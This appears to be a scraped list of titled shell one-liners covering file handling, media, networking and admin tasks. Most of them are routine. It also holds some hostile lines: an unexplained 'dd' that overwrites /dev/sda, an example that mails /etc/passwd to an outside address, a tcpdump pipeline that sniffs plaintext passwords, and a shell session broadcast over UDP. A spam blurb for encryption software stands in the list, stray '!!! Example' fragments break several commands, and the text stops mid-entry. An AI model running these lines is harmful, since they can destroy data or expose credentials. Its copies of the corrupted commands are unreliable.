Rename all .jpeg and .JPG files to .jpg
rename 's/\.jpeg/\.jpg/' *.jpeg; rename 's/\.JPG/\.jpg/' *.JPG
Create a simple playlist sort by Genre using mp3info
for file in $(find ~/ -iname "*.mp3");do c=$(mp3info $file|grep Genre|cut -f 3 -d :|cut -f 2 -d " ");if [ -z "$c" ];then c="Uncategorized";fi;if [ ! -e $c ];then touch $c.m3u;fi;echo "$file">>$c.m3u;done
Count all files in directories recursively with find
find -maxdepth 3 -type d | while read -r dir; do printf "%s:\t" "$dir"; find "$dir" | wc -l; done
Check if a string is into a variable
[[ ${var##*yourstring*} != ${var} ]]
Recursive search inside the content of files under current directory - then view the result paginated with 'less'
find . -exec grep -Hn what \{\} \; | less
download newest adminer and rename to it's version accordingly
wget -N --content-disposition http://www.adminer.org/latest.php
Find the modified time (mtime) for a file
date -r foo
Run a command multiple times with different subcommands
echo apt-get\ {update,-y\ upgrade}\ \&\& true | sudo bash
Find name of package which installed a given shell command
dpkg -S "$(readlink -e $(which w))" | cut -d ':' -f 1
Exit shell faster
^D
Changing the terminal title to the last shell command
if [ "$SHELL" = '/bin/zsh' ]; then case $TERM in rxvt|*term|linux) preexec () { print -Pn "\e]0;$1\a" };; esac; fi
Display top 5 processes consuming CPU
ps -eo pcpu,user,pid,cmd | sort -r | head -5
View the newest xkcd comic.
wget `lynx --dump http://xkcd.com/|grep png`
happened to find this not bad software to keep my files and folders safe! Even the free trial version has the fantastic functions to protect any private files from being seen by anyone except me. With it I can encrypt, hide or lock anything I want, amazin
tr '[A-Za-z]' '[N-ZA-Mn-za-m]'
Download all videos in your Boxee queue
for i in $(curl -u <username> http://app.boxee.tv/api/get_queue | xml2 | grep /boxeefeed/message/object/url | cut -d "=" -f 2,3); do get_flash_videos $i; done
Kill google chrome process
pkill -9 -x chrome
Get the IP address of a machine. Just the IP, no junk.
ip -o -4 addr show | awk -F '[ /]+' '/global/ {print $4}'
pngcrush all .png files in the directory
find . -iname '*png' -exec pngcrush -ow -brute {} {}.crush \;
Display history of reboots
$ journalctl --list-boots !!! Example "display tabular history of reboots
Convert a mp3 file to m4a
mplayer -vo null -vc null -ao pcm:fast:file=file.wav file.mp3; faac -b 128 -c 44100 -w file.wav
Skip to next selection in playlist
killall -2 mpg321
Simple Comment an entire file
sed -i 's/^/#/' FILENAME
Syntax highlight PHP source
php -s source.php > source.html
File rotation without rename command
for i in {6..1} ; do for f in *.$i.gz ; do mv "$f" "${f/.$i.gz}".$((i+1)).gz 2> /dev/null ; done; done
Syntax Highlight your Perl code
perl -mText::Highlight -E 'say Text::Highlight->new(ansi => 1)->highlight(Perl => do { local (@ARGV,$/) = shift; <> }) ' path/to/perl-file.pl
Show total size of each subdirectory, broken down by KB,MB,GB,TB
du --max-depth=1 | sort -nr | awk ' BEGIN { split("KB,MB,GB,TB", Units, ","); } { u = 1; while ($1 >= 1024) { $1 = $1 / 1024; u += 1 } $1 = sprintf("%.1f %s", $1, Units[u]); print $0; } '
Append last argument to last command
<Alt+.>
Check the status of a network interface
for i in `ls /sys/class/net/`; do echo $i: `cat /sys/class/net/$i/operstate`; done
enable all bash completions in gentoo
for i in `eselect bashcomp list | awk '{print $2}'`; do eselect bashcomp enable $i; done
Increment the filename of png in a given directory by one
for i in `ls -r *.png`; do mv $i `printf "%03d.png" $(( 10#${i%.png}+1 ))`; done
Rotate all jpeg images in current folder, rename them to EXIF datetime and set files timestamp to EXIF datetime
jhead -autorot -ft -n"%Y_%m_%d-%H_%M_%S" *.[jJ][pP][gG]
grep compressed log files without extracting
zgrep -i "string" log.tar.gz
function to verify an IP address - can be used at the shell prompt or in a shell script
function verifyIP() { octet="(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])"; ip4="^$octet\.$octet\.$octet\.$octet$"; [[ ${1} =~ $ip4 ]] && return 0 || return 1; }
Set all CPU cores' CPU frequency scaling governor to maximum performance
echo performance |sudo tee /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor
Send multiple attachments using mailx
(uuencode foo.txt foo.txt; uuencode /etc/passwd passwd.txt)|mailx -s "Pandaren!" someone@cmdfu.com
Output files without comments or empty lines
function catv { egrep -v "^$|^#" ${*} ; }
Run netcat to server files of current folder
Server side: while true; do tar cvzf - ./* | nc -l 2000; done, client side: nc localhost 2000 | tar xvzf -
cycle through everything sox knows how to read, playing only the first three seconds
for x in 8svx aif aifc aiff aiffc ... wv wve xa xi ; do echo $x ; play -q -t $x soundfile trim 0 3 ; done
Remove a line from a file using sed (useful for updating known SSH server keys when they change)
vi +<lineNumber>d +wq <filename>
ZSH prompt. ':)' after program execution with no error, ':(' after failure.
PROMPT=$'%{\e[0;32m%}%B[%b%{\e[0m%}%n%{\e[0;32m%}@%{\e[0m%}%(4c,./%1~,%~)%{\e[0;32m%}%B]%b% %(?,%{\e[0;32m%}:%)%{\e[0m%},%{\e[0;31m%}:(%{\e[0m%}) %!!! Example "'
remove comments from xml
cat <filename> | perl -e '$/ = ""; $_ = <>; s/<!--.*?-->//gs; print;'
Get your external IP address if your machine has a DNS entry
host $HOSTNAME|cut -d' ' -f4
count of down available ips
nmap -v -sP 192.168.10.0/24 | grep down | wc -l
parrallel execution of a command on remote hosts by ssh or rsh or …
pdsh -R ssh -w se00[1-5] !!! Example "a list of host names
Easy way to scroll up und down to change to one of n last visited directories.
alias cdd="history -a && grep '^ *[0-9]* *cd ' ~/.bash_history| tail -10 >>~/.bash_history && history -r ~/.bash_history"
Dump an aspell dictionary as a word list
aspell -d en dump master | aspell -l en expand > words
summarize a list of IP addresses, verifying IP address and giving counts for each IP found
function summaryIP() { < $1 awk '{print $1}' | while read ip ; do verifyIP ${ip} && echo ${ip}; done | awk '{ip_array[$1]++} END { for (ip in ip_array) printf("%5d\t%s\n", ip_array[ip], ip)}' | sort -rn; }
Convert a Python interactive session to a python script
sed 's/^\([^>.]\)/#\1/;s/^>>> //;s/^\.\.\./ /'
Fulltext search in multiple OCR'd pdfs
find /path -name '*.pdf' -exec sh -c 'pdftotext "{}" - | grep --with-filename --label="{}" --color "your pattern"' \;
Find file containing namespace in a directory of jar files.
for f in *.jar; do if jar -tf $f | grep -q javax.servlet; then echo $f; fi; done
test moduli file generated for openssh
ssh-keygen -T moduli-2048 -f /tmp/moduli-2048.candidates
List the CPU model name
grep 'model\|MHz' /proc/cpuinfo |tail -n 2
Backup a file with a date-time stamp
buf () { filename=$1; filetime=$(date +%Y%m%d_%H%M%S); cp ${filename} ${filename}_${filetime}; }
Find the biggest files
find -type f | xargs -I{} du -sk "{}" | sort -rn | head
Copy files for backup storage
cp -auv /SorceDirectory/ /ParentDestination/
extracts 64 bytes of random digits from random lines out of /dev/random sent to stdio
cat /dev/urandom|od -t x1|awk 'NR > line { pos=int(rand()*15)+2;printf("%s",$pos);line=NR+(rand()*1000);digits = digits+2 } digits == 64 { print("\n");exit }'
Check if variable is a number
if [[ "$1" =~ ^[0-9]+$ ]]; then echo "Is a number"; fi
dd if=/dev/null of=/dev/sda
dd if=/dev/null of=/dev/sda
Install pip with Proxy
pip --proxy http://proxy:8080 install Jinja2==2.9.6
List the binaries installed by a Debian package
binaries () { for f in $(dpkg -L "$1" | grep "/bin/"); do basename "$f"; done; }
Produce a pseudo random password with given length in base 64
perl -MDigest::SHA -e 'print substr( Digest::SHA::sha256_base64( time() ), 0, $ARGV[0] ) . "\n"' <length>
Clear ARP table in linux.
for arptable in `arp | grep "eth1" | cut -d " " -f1`; do arp -d $arptable; done
Tree based ps view "painted" by ccze
alias cps="ps -u root U `whoami` --forest -o pid,stat,tty,user,command |ccze -m ansi"
Display unique values of a column
cut -d',' -f6 file.csv | sort | uniq
Download latest NVIDIA Geforce x64 Windows driver
wget "us.download.nvidia.com$(wget -qO- "$(wget -qO- "nvidia.com/Download/processFind.aspx?psid=95&pfid=695&osid=19&lid=1&lang=en-us"|awk '/driverResults.aspx/ {print $4}'|cut -d "'" -f2|head -n 1)"|awk '/url=/ {print $2}'|cut -d '=' -f3|cut -d '&' -f1)"
Shortcut to find files with ease.
finame(){ find . -iname "*$1*"; }
Process command output line by line in a while loop
while read -r line; do echo $line; done < <(YOUR COMMAND HERE);
iso to USB with dd and show progress status
dd if=/backup/archlinux.iso of=/dev/sdb status=progress
List the binaries installed by a Debian package
binaries () { dpkg -L "$1" | grep -Po '.*/bin/\K.*'; }
Download mp3 files linked in a RSS podcast feed
curl http://radiofrance-podcast.net/podcast09/rss_14726.xml | grep -Eo "(http|https)://[a-zA-Z0-9./?=_%:-]*mp3" | sort -u | xargs wget
Remove multiple same rpm packages
rpm -e --allmatches filename.rpm
Change user within ssh session retaining the current MIT cookie for X-forwarding
su username -c "xauth add ${HOSTNAME}/unix:${DISPLAY//[a-zA-Z:_-]/} $(xauth list | grep -o '[a-zA-Z0-9_-]*\ *[0-9a-zA-Z]*$'); bash"
Unzip multi-part zip archive
zip -F archive.zip --output big_archive.zip && unzip big_archive.zip
count of down available ips
nmap -v -sP 192.168.10.0/24 | grep -c down
Remove a range of lines from a file
vi +{<end>..<start>}d +wq <filename>
Create a file of repeated, non-zero
dd if=/dev/zero bs=64K count=1 | tr "\0" "\377" > all_ones
(DEBIAN-BASED DISTROS) Find total installed size of packages given a search term
dpkg-query -Wf '${Installed-Size}\t${Package}\n' | grep "\-dev" | sort -n | awk '{ sum+=$1} END {print sum/1024 "MB"}'
put command in a loop to keep trying a connection
while true; do nc <ip address of server> <port>;done
Check every URL redirect (HTTP status codes 301/302) with curl
curl -sLkIv --stderr - http://example.org | grep -i location: | awk {'print $3'} | sed '/^$/d'
list process ids for given program
pidof httpd
Mount an smb share on linux
mount -t smbfs //$server/share /local/mount -o rw,username=$USER
Add a line from 1 file after every line of another (shuffle files together)
sed '/^/R addfile' targetfile > savefile
Remove newlines from output
awk /./ filename
Ultimate current directory usage command
find . -maxdepth 1 ! -name '.' -execdir du -0 -s {} + | sort -znr | gawk 'BEGIN{ORS=RS="\0";} {sub($1 "\t", ""); print $0;}' | xargs -0 du -hs
Go up multiple levels of directories quickly and easily.
alias ..="cd .." ...="cd ../.." ....="cd ../../.."
Validating a file with checksum
[ "c84fa6b830e38ee8a551df61172d53d7" = "$(md5sum myfile | cut -d' ' -f1)" ] && echo OK || echo FAIL
tar directory and compress it with showing progress and Disk IO limits
tar pcf - home | pv -s $(du -sb home | awk '{print $1}') --rate-limit 500k | gzip > /mnt/c/home.tar.gz
Open a file with specified application.
open -a BBEdit file.sql
floating point operations in shell scripts
wcalc -q <<< '3/5'
Look up a unicode character by name
grep -i "$*" /usr/lib/perl5/Unicode/CharName.pm | while read a b; do /usr/bin/printf "\u$a\tU+%s\t%s\n" "$b"; done
List the size (in human readable form) of all sub folders from the current location
du -hs *|sort -h
Count the total amount of hours of your music collection
find . -print0 | xargs -0 -P 40 -n 1 sh -c 'ffmpeg -i "$1" 2>&1 | grep "Duration:" | cut -d " " -f 4 | sed "s/.$//" | tr "." ":"' - | awk -F ':' '{ sum1+=$1; sum2+=$2; sum3+=$3; sum4+=$4 } END { printf "%.0f:%.0f:%.0f.%.0f\n", sum1, sum2, sum3, sum4 }'
Print github url for the current url
git remote -v | sed -n '/github.com.*push/{s/^[^[:space:]]\+[[:space:]]\+//;s|git@github.com:|https://github.com/|;s/\.git.*//;p}'
Using Git, stage all manually deleted files.
for x in `git status | grep deleted | awk '{print $3}'`; do git rm $x; done
An alarm clock using xmms2 and at
echo "xmms2 play" | at 6:00
calculate the total size of files in specified directory (in Megabytes)
find directory -maxdepth 1 -type f | xargs ls -l | awk 'BEGIN { SUM=0} { SUM+=$5 } END { print SUM/2^20 }'
Get your IP addresses
{ if (/^[A-Za-z0-9]/) { interface=$1; next } else { if (/inet [Aa][d]*r/) { split($2,ip,":") } else { next } } print interface"\t: "ip[2] }
Counting the source code's line numbers C/C++ Java
find /usr/include/ -name '*.[c|h]pp' -o -name '*.[ch]' -print0 | xargs -0 cat | grep -v "^ *$" | grep -v "^ *//" | grep -v "^ */\*.*\*/" | wc -l
Merge some PDF files into a single one
pdfunite 1.pdf 2.pdf 3.pdf result.pdf
Post a message to another users screen via SSH
zenity --info --text "Your welcome! Lunch?" --display=:0
diff the same file in two directories.
diff {$path1,$path2}/file_to_diff
Remove a range of lines from a file
vi +START,ENDd +wq sample.txt
Backup a file with a date-time stamp
buf () { oldname=$1; if [ "$oldname" != "" ]; then datepart="$(date +%Y-%m-%d).bak"; firstpart=`echo $oldname | cut -d "." -f 1`; newname=`echo $oldname | sed s/$firstpart/$firstpart.$datepart/`; cp -iv ${oldname} ${newname}; fi }
A simple way to securely use passwords on the command line or in scripts
wget --input-file=~/donwloads.txt --user="$USER" --password="$(gpg2 --decrypt ~/.gnupg/passwd/http-auth.gpg 2>/dev/null)"
display the hover text of the most recent xkcd
curl -s 'http://xkcd.com/rss.xml' | xpath '//item[1]/description/text()' 2>&1 | sed -n 's/.*title="\([^"]*\)".*/\1/p' | fold -s
Filter IP's in apache access logs based on use
cat /var/log/apache2/access_logs | cut -d ' ' -f 1 | uniq -c | sort -n
Apply, in parallel, a bc expression to CSV
pbc () { parallel -C, -k -j100% "echo '$@' | bc -l"; }
"Pretty print" $PATH, separate path per line
echo $PATH | tr -s ':' '\n'
Remove embedded fonts from a pdf.
gs -sDEVICE=pswrite -sOutputFile=- -q -dNOPAUSE With-Fonts.pdf -c quit | ps2pdf - > No-Fonts.pdf
Solaris get PID socket
pfiles -F /proc/* 2>/dev/null | awk '/^[0-9]+/{proc=$1};/[s]ockname: AF_INET/{print proc $0}'
Quick and Temporary Named Commands
svn up -r PREV !!! Example "revert
Reducing image size
convert example.png -resize 100x100! output.png
Run a command for blocks of output of another command
tail -f /var/log/messages | while read line; do accu="$line"; while read -t 1 more; do accu=`echo -e "$accu\n$more"`; done; notify-send "Syslog" "$accu"; done
Mute speakers after an hour
sleep 3600; amixer set Master mute
Plaintext credentials sniffing with tcpdump and grep
tcpdump port http or port ftp or port smtp or port imap or port pop3 -l -A | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user ' --color=auto --line-buffered -B20
Prints total line count contribution per user for an SVN repository
svn ls -R | egrep -v -e "\/$" | tr '\n' '\0' | xargs -0 svn blame | awk '{print $2}' | sort | uniq -c | sort -nr
tcpdump whole packets to file in ascii and hex with ip adresses instead of hostname
tcpdump host <IP> -nXXv -s0 -w file.pcap
Export MySQL tables that begin with a string
sudo mysql -sNe 'show tables like "PREFIX_%"' DBNAME | xargs sudo mysqldump DBNAME > /tmp/dump.sql
Find public IP when behind a random router (also see description)
alias pubip='GET http://www.whatismyip.com/automation/n09230945.asp && echo'
Copy data using gtar
gtar cpf - . | (cd /dest/directory; gtar xpf -)
Rename duplicates from MusicBrainz Picard
for i in */*/*\(1\)*; do mv -f "$i" "${i/ (1)}"; done
statistics in one line
perl -MStatistics::Descriptive -alne 'my $stat = Statistics::Descriptive::Full->new; $stat->add_data(@F[1..4]); print $stat->variance' filename
find an unused unprivileged TCP port
netstat -atn | perl -0777 -ne '@ports = /tcp.*?\:(\d+)\s+/imsg ; for $port (32768..61000) {if(!grep(/^$port$/, @ports)) { print $port; last } }'
Kill a process by its partial name
pkill name
One liner to parse all epubs in a directory and use the calibre ebook-convert utility to convert them to mobi format
for filename in *.epub;do ebook-convert "$filename" "${filename%.epub}.mobi" --prefer-author-sort --output-profile=kindle --linearize-tables --smarten-punctuation --extra-css="/yourdir/calibre.css" --asciiize --enable-heuristics;done
Find out which process uses an old lib and needs a restart after a system update
lsof | grep 'DEL.*lib' | sort -k1,1 -u
Cut the first 'N' characters of a line
cut -c 1-N
Stop and continue processing on a terminal
CTRL+s
recursive search and replace old with new string, inside files
replace old new -- `find -type f`
Wich program is listen on port OSX
sudo lsof -i -n -P | grep TCP
Show a config file without comments
egrep -v "^$|^.*#" file
Shows space used by each directory of the root filesystem excluding mountpoints/external filesystems (and sort the output)
find / -maxdepth 1 -type d | xargs -I {} sh -c "mountpoint -q {} || du -sk {}" | sort -n
tunnel vnc port
ssh -L 5900:localhost:5900 user@exampleserver.com
Get your external IP address if your machine has a DNS entry
curl www.whatismyip.com/automation/n09230945.asp
List only locally modified files with CVS
cvs -n update 2>null | grep -i "M " | sed s/"M "//
calculate the total size of files in specified directory (in Megabytes)
du -sm $dirname
Debug your makefile
make -d | egrep --color -i '(considering|older|newer|remake)'
Escape forward slashes in a variable
${path//'/'/'\/'}
Download all MegaTokyo strips
for i in $(seq 1 `curl http://megatokyo.com 2>/dev/null|grep current|cut -f6 -d\"`);do wget http://megatokyo.com/`curl http://megatokyo.com/strip/${i} 2>/dev/null|grep src=\"strips\/|cut -f4 -d\"`;done
Function to change prompt
prompt (){ if [ "$1" = "on" ]; then . ~/.bash_profile; else if [ "$1" = "off" ];then PS1="$ ";fi;fi; }
about how using internal separate field and store file content on variable
OIFS=$IFS;IFS=$':';for i in $(cat -n /etc/passwd);do echo -n $i\ ** \ ;done
count match string lines from file(s)
grep -in "search_string" /to/your/path
Count the words in any OpenOffice document (including Impress presentations)
unzip -p doc.odt content.xml | sed 's|<[^>]*>| |g' | wc -l
Hide or show Desktop Icons on MacOS
defaults write com.apple.finder CreateDesktop -bool false;killall Finder
search for a file in PATH
which <filename>
monitor your CPU core temperatures in real time
while :; do sensors|grep ^Core|while read x; do printf '% .23s\n' "$x"; done; sleep 1 && clear; done;
Watch active calls on an Asterisk PBX
asterisk -rx "core show calls" | grep "active" | cut -d' ' -f1
Number of .... indicate how far down to cd
for i in {1..6};do c=;d=;for u in `eval echo {1..$i}`;do c="$c../";d="$d..";eval "$d(){ cd $c;}"; eval "$d.(){ cd $c;}";done;done
ssh autocomplete
complete -W "$(echo $(grep ^Host ~/.ssh/config | sed -e 's/Host //' | grep -v "\*"))" ssh
rclone - include Service account blobs to your config
bash -c 'COUNT=0; for i in $(find . -iname "*.json");do ((count=count+1));VAL=`cat ${i} | jq -c '.'` ; echo "[dst$count]";echo "type = drive";echo "scope = drive";echo "service_account_credentials = $VAL" ; echo "team_drive = 0AKLGAlhvkJYyUk9PVA" ;done'
FLV to AVI with subtitles and forcing audio sync using mencoder
mencoder -sub subs.ssa -utf8 -subfont-text-scale 4 -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -o output.avi input.flv
type fortune in real time
fortune | pv -qL 10
Get disk quota usage openvz using vzlist
vzlist -a -H -o hostname,diskspace,diskspace.s,veid | awk '{ printf( "%2.f%\t%s\t%s\n"), $2*100/$3, $4, $1}' | sort -r
Find files changed between dates defined by ctime of two files specified by name
find . -cnewer <file a> -and ! -cnewer <file b>
Extract audio stream from an video file using mencoder
mencoder "${file}" -of rawaudio -oac mp3lame -ovc copy -o "${file%.*}.mp3"
Mapreduce style processing
parallel -j 50 ssh {} "ls" ::: host1 host2 hostn | sort | uniq -c
convert Decimal to IP from stdin
awk {'print rshift(and($1, 0xFF000000), 24) "." rshift(and($1, 0x00FF0000), 16) "." rshift(and($1, 0x0000FF00), 8) "." and($1, 0x000000FF)'}
Convert from a decimal number to a binary number
echo 'ibase=10; obase=2; 127' | bc
Make the Mac OS X Dock 2D once more (10.5 and above only)
defaults write com.apple.Dock no-glass -boolean YES; killall Dock
find only current directory (universal)
find . \( ! -name . -prune \) \( -type f -o -type l \)
print contents of file from first match of regex to end of file
sed -n '/regex/,$p' filename
print first n characters of any file in human readble form using hexdump
hexdump -C -n 20 filename
List all symbolic links in current directory
ls -l `find ~ -maxdepth 1 -type l -print`
Recursive search and replace (with bash only)
find ./ -type f -name "somefile.txt" -exec sed -i -e 's/foo/bar/g' {} \;
Congratulations on new year
php -r 'function a(){$i=10;while($i--)echo str_repeat(" ",rand(1,79))."*".PHP_EOL;}$i=99;while($i--){a();echo str_repeat(" ",34)."Happy New Year 2011".PHP_EOL;a();usleep(200000);}'
Stream your desktop to a remote machine.
vlc screen:// :screen-fps=30 :screen-caching=100 --sout '#transcode{vcodec=mp4v,vb=4096,acodec=mpga,ab=256,scale=1,width=1280,height=800}:rtp{dst=192.168.1.2,port=1234,access=udp,mux=ts}'
Jump to a directory, execute a command and jump back to current dir
cd /path/to/dir && command_or_script; cd -;
UPS Tracking Script
watch -t -c -n30 'wget -q -O- "http://wwwapps.ups.com/WebTracking/processInputRequest?TypeOfInquiryNumber=T&InquiryNumber1=1Z4WYXXXXXXXXXX" | html2text | sed -n "/Shipment Progress/,/Shipping Information/p" | grep -v "*" | ccze -A'
quickly backup or copy a file with bash
cp filename{,.`date +%Y%m%d-%H%M%S`}
Remove color codes (special characters) with sed
sed -E "s/"$'\E'"\[([0-9]{1,3}((;[0-9]{1,3})*)?)?[m|K]//g"
Find failures with journalctl
journalctl --no-pager --since today --grep 'fail|error|fatal' --output json | jq '._EXE' | sort | uniq -c | sort --numeric --reverse --key 1
Erase CD RW
wodim -v dev=/dev/dvd -blank=fast
Create a random file of a specific size
dd if=/dev/zero of=testfile.txt bs=1M count=10
A command to copy mysql tables from a remote host to current host via ssh.
ssh username@remotehost 'mysqldump -u <dbusername> -p<dbpassword> <dbname> tbl_name_1 tbl_name_2 tbl_name_3 | gzip -c -' | gzip -dc - | mysql -u <localusername> -p<localdbpassword> <localdbname>
create a colorful 田 image
convert -size 32x32 \( xc:red xc:green +append \) \( xc:yellow xc:blue +append \) -append output.png
google chart api
wget -O chart.png 'http://chart.googleapis.com/chart?chs=250x100&chd=t:60,40&cht=p3&chl=Hello|World'
Look at your data as a greymap image.
x=1024; y=32768; cat <(echo -e "P5\n$x $y\n255\n") <(dd if=/dev/sda1 bs=$x count=$y) > sda1.pgm
script broadcast-pppoe-discover
nmap -T4 --script broadcast-pppoe-discover 192.168.122.0/24
Get IP address from domain
nslookup www.example.com | tail -2 | head -1 | awk '{print $2}'
Pretty print SQL query with python in one line
echo "select a, b, c from table where a = 3;"| python -c "import sys;import sqlparse;print sqlparse.format(sys.stdin.read(), reindent=True, keyword_case='upper')"
Get Hardware UUID in Mac OS X
ioreg -ad2 -c IOPlatformExpertDevice | xmllint --xpath '//key[.="IOPlatformUUID"]/following-sibling::*[1]/text()' -
Find the top 10 directories containing the highest number of files
find / -type f ! -regex '^/\(dev\|proc\|run\|sys\).*' | sed 's@^\(.*\)/[^/]*$@\1@' | sort | uniq -c | sort -n | tail -n 10
Monitor memory without top or htop
watch -n 5 -d '/bin/free -m'
Erase DVD RW
dvd+rw-format /dev/dvd
Convert every eps in a directory to pdf
for f in *.eps;do ps2pdf -dEPSCrop $f `basename $f .eps`.pdf; done
Get ethX mac addresses
ip link | grep 'link/ether' | awk '{print $2}'
Add line number count as C-style comments
awk '{printf("/* %02d */ %s\n", NR,$0)}' inputfile > outputfile
Populate a folder with symbolic links to files listed in an m3u playlist.
(IFS=$'\n'; ln -sf $(awk '((NR % 2) != 0 && NR > 1) {print "prefix" $0}' list.m3u) target_folder)
switch case of a text file
python3 -c 'import sys; print(sys.stdin.read().swapcase(), end="")' <input.txt
List just the executable files (or directories) in current directory
ls -dF `find . -maxdepth 1 \( -perm -1 -o \( -perm -10 -o -perm -100 \) \) -print`
get newest jpg picture in a folder
cp `ls -x1tr *.jpg | tail -n 1` newest.jpg
view certificate details
openssl x509 -in filename.crt -noout -text
aptbackup restore
for p in `grep -v deinstall /var/mobile/Library/Preferences/aptbackup_dpkg-packages.txt | cut --fields=1`; do apt-get -y --force-yes install $p; done
Cut the first 'N' characters of a line
cut -c -N
Recompress all files in current directory from gzip to bzip2
find . -type f -name "*.gz" | while read line ; do gunzip --to-stdout "$line" | bzip2 > "$(echo $line | sed 's/gz$/bz2/g')" ; done
Check if the LHC has destroyed the world
curl -s http://www.hasthelhcdestroyedtheearth.com/ | sed -En '/span/s/.*>(.*)<.*/\1/p'
Execute a file in vim with the #!/bin/interpreter in the first line
:exe getline(1)[1:] @%
Test I/O performance by timing the writing of 100Mb to disk
time dd if=/dev/zero of=dummy_file bs=512k count=200
Check if the LHC has destroyed the world
xidel --quiet http://www.hasthelhcdestroyedtheearth.com/ -e //span
Rename files in batch
rename 's/^hospital\.php\?loc=(\d{4})$/hospital_$1/' hospital.php*
Project your desktop using xrandr
xrandr --output < interface-name > --auto
Monitor changed files into a log file, with day rotation, using fswatch (MacOS)
fswatch --exclude=.git/* --exclude=.settings --event-flags --event-flag-separator=\; -t -f '%Y-%m-%d %H:%M:%S' . >> ./.file_changes_$(date +"%Y-%m-%d" | sed s/-//g).log
find large files
ls -s | sort -nr | more
Show CPU usage for EACH cores
ps ax -L -o pid,tid,psr,pcpu,args | sort -nr -k4| head -15 | cut -c 1-90
Compute the numeric sum of a file
sed i"+" file.txt | xargs echo 0 |bc
Removing images by size
for arq in *.png; do size=$(identify $arq | cut -f3 -d" "); [ $size == "280x190" ] || rm $arq ; done
Check if a remote port is up using dnstools.com (i.e. from behind a firewall/proxy)
cpo(){ [[ $!!! Example "-lt 2 ]] && echo 'need IP and port' && return 2; [[ `wget -q "http://dnstools.com/?count=3&checkp=on&portNum=$2&target=$1&submit=Go\!" -O - |grep -ic "Connected successfully to port $2"` -gt 0 ]] && return 0 || return 1; }
Download all images from a website in a single folder
wget -nd -r -l 2 -A jpg,jpeg,png,gif http://website-url.com
Parse compressed apache error log file and show top errors
zcat error.log.gz | sed 's^\[.*\]^^g' | sed 's^\, referer: [^\n]*^^g' | sort | uniq -c | sort -n
Make a zip file with date/time created in the name of the file , zip all sub-directorys
zip -r /tmp/filename-`date +%Y%m%d_%H%M%S`.zip /directory/
Display total Kb/Mb/Gb of a folder and each file
du -hc *
Create a git alias that will pull and fast-forward the current branch if there are no conflicts
git config --global --add alias.ff "pull --no-commit -v" ; git ff
Get information about libraries currently installed on a system.
rpm -qa --qf '%{name}-%{version}-%{release}.%{arch}\n'|egrep 'compat|glibc|gcc|libst|binu'|sort
Listen to a file
while true; do cat /usr/src/linux/kernel/signal.c > /dev/dsp; done
ignore hidden directory in bash completion (e.g. .svn)
Add to ~/.inputrc: set match-hidden-files off
Colored status of running services
services() { printf "$(service --status-all 2>&1|sed -e 's/\[ + \]/\\E\[42m\[ + \]\\E\[0m/g' -e 's/\[ - \]/\\E\[41m\[ - \]\\E\[0m/g' -e 's/\[ ? \]/\\E\[43m\[ ? \]\\E\[0m/g')\n";}
Add page numbers to a PDF
enscript -L1 -b'||Page $% of $=' -o- < <(for i in $(seq "$(pdftk "$1" dump_data | grep "Num" | cut -d":" -f2)"); do echo; done) | ps2pdf - | pdftk "$1" multistamp - output "${1%.pdf}-header.pdf"
Remove any RPMs matching a pattern
sudo rpm -e `rpm -qa | grep keyword`
easily strace all your apache processes
ps auxw | grep sbin/apache | awk '{print"-p " $2}' | xargs strace -f
AES file encryption with openssl
openssl aes-256-cbc -salt -in secrets.txt -out secrets.txt.enc
convert unixtime to human-readable
date -r 1390196676
Show the 10001000 and 10241024 size of HDs on system
awk '/d[a-z]+$/{print $4}' /proc/partitions | xargs -i sudo hdparm -I /dev/{} | grep 'device size with M'
get header and footer of file for use with scalpel file carving
xxd -l 0x04 $file; xxd -s -0x04 $file
add all files not under version control to repository
svn st | awk ' {if ( $1 == "?" ){print $1="",$0}} ' | sed -e 's/^[ \t]*//' | sed 's/ /\\ /g' | xargs svn add
Broadcast your shell thru UDP on port 5000
script -qf >(nc -ub 192.168.1.255 5000)
Change gnome-shell wallpaper
gsettings set org.gnome.desktop.background picture-uri 'file://<path-to-image>'
Remove all zero size files from current directory (not recursive)
rm *(L0)
Edit a PDF's metadata using exiftool
exiftool -Title="This is the Title" -Author="Happy Man" -Subject="PDF Metadata" foo.pdf -overwrite_original
Show highlighted text with full terminal width
printf "\e[7m%-`tput cols`s\e[0m\n" "Full width highlighted line"
Delete leading whitespace from the start of each line
sed 's/^[ \t]*//' input.txt
Rescan partitions on a SCSI device
echo "w" | fdisk /dev/sdb
Search google and show only urls
gg(){ lynx -dump http://www.google.com/search?q=$@ | sed '/[0-9]*\..http:\/\/www.google.com\/search?q=related:/!d;s/...[0-9]*\..http:\/\/www.google.com\/search?q=related://;s/&hl=//';}
Check if you work on a virtual/physical machine in Linux
sudo dmidecode | grep Product
generate 30 x 30 matrix
xxd -p /dev/urandom |fold -60|head -30|sed 's/\(..\)/\1 /g'
Notepad in a browser
firefox 'data:text/html, <html contenteditable>'
Virtualbox rsync copy (without defining any virtualbox configuration)
rsync -a --progress -e 'ssh -p 2200 -i .vagrant/machines/default/virtualbox/private_key' vagrant@127.0.0.1:/vagrant/vm/old_timecapsule_backup /Volumes/2TB/
Apply an xdelta patch to a file
xdelta -d -s original_file delta_patch patched_file
Audible warning when a downloading is finished
while [ "$(ls $filePart)" != "" ]; do sleep 5; done; mpg123 /home/.../warning.mp3
Find default gateway
netstat -rn | grep UG | tr -s " " | cut -d" " -f2
most changed files in domains by rdiff-backup output
cat /backup/hd7/rdiff-log.txt |grep Processing | awk '{ print $4 }' | sed -e 's/\// /g' | awk '{ print $1 }' |uniq -c |sort -n
Transfers clipboard content from one OS X machine to another
pbpaste | ssh user@hostname pbcopy
Perpetual calendar
date --date="90 days ago"
Mount windows share to the specified location including credentials
mount.cifs //10.0.0.1/d/share /mnt/winshare/ -o username=administrator,password=password
Set RGB gamma of secondary monitor
secondscreen=$(xrandr -q | grep " connected" | sed -n '2 p' | cut -f 1 -d ' '); [ "$secondscreen" ] && xrandr --output $secondscreen --gamma 0.6:0.75:1
Resets a terminal that has been messed up by binary input
reset
Top ten (or whatever) memory utilizing processes (with children aggregate) - Can be done without the multi-dimensional array
ps axo rss,comm,pid | awk '{ proc_list[$2] += $1; } END { for (proc in proc_list) { printf("%d\t%s\n", proc_list[proc],proc); }}' | sort -n | tail -n 10
Download last file from index of
